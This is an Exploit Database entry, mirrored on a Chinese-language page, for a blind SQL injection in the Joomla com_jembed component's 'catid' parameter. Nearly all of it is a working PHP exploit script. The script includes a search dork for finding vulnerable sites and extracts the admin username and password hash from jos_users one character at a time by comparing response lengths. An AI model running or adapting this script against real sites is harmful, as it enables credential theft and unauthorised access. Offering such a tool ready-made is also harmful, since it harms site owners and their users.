com_jembed – ‘catid’ Blind SQL Injection

• Exploit Database
• 36 阅读

• 作者： FL0RiX
  日期： 2010-01-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11026/

• <?php
  ini_set("max_execution_time",0);
  print_r('
  
  \\\|///
  \\ - - //
  ( @ @ )
  ----oOOo--(_)-oOOo---------------------------
  @~~=Author : FL0RiX
  
  @~~=Greez : Dostumuz Yokki yazak
  
  @~~=Dork : inurl:"com_jembed"
  
  @~~=Bug : com_jembed (catid) Blind SQL Injection Exploit
  
  @~~=WARNING! : : php file.php "http://www.site.com/index.php?option=com_jembed&task=summary&catid=99"
  ---------------Ooooo-------------------------
  ( )
  ooooO ) /
  ( ) (_/
  \ (
  \_)
  
  
  ');
  if ($argc > 1) {
  $url = $argv[1];
  $r = strlen(file_get_contents($url."+and+1=1--"));
  echo "\nExploiting:\n";
  $w = strlen(file_get_contents($url."+and+1=0--"));
  $t = abs((100-($w/$r*100)));
  echo "Username: ";
  for ($i=1; $i <= 30; $i++) {
  $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
  if (abs((100-($laenge/$r*100))) > $t-1) {
  $count = $i;
  $i = 30;
  }
  }
  for ($j = 1; $j < $count; $j++) {
  for ($i = 46; $i <= 122; $i=$i+2) {
  if ($i == 60) {
  $i = 98;
  }
  $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
  if (abs((100-($laenge/$r*100))) > $t-1) {
  $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
  if (abs((100-($laenge/$r*100))) > $t-1) {
  echo chr($i-1);
  } else {
  echo chr($i);
  }
  $i = 122;
  }
  }
  }
  echo "\nPassword: ";
  for ($j = 1; $j <= 49; $j++) {
  for ($i = 46; $i <= 102; $i=$i+2) {
  if ($i == 60) {
  $i = 98;
  }
  $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
  if (abs((100-($laenge/$r*100))) > $t-1) {
  $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
  if (abs((100-($laenge/$r*100))) > $t-1) {
  echo chr($i-1);
  } else {
  echo chr($i);
  }
  $i = 102;
  }
  }
  }
  }
  ?>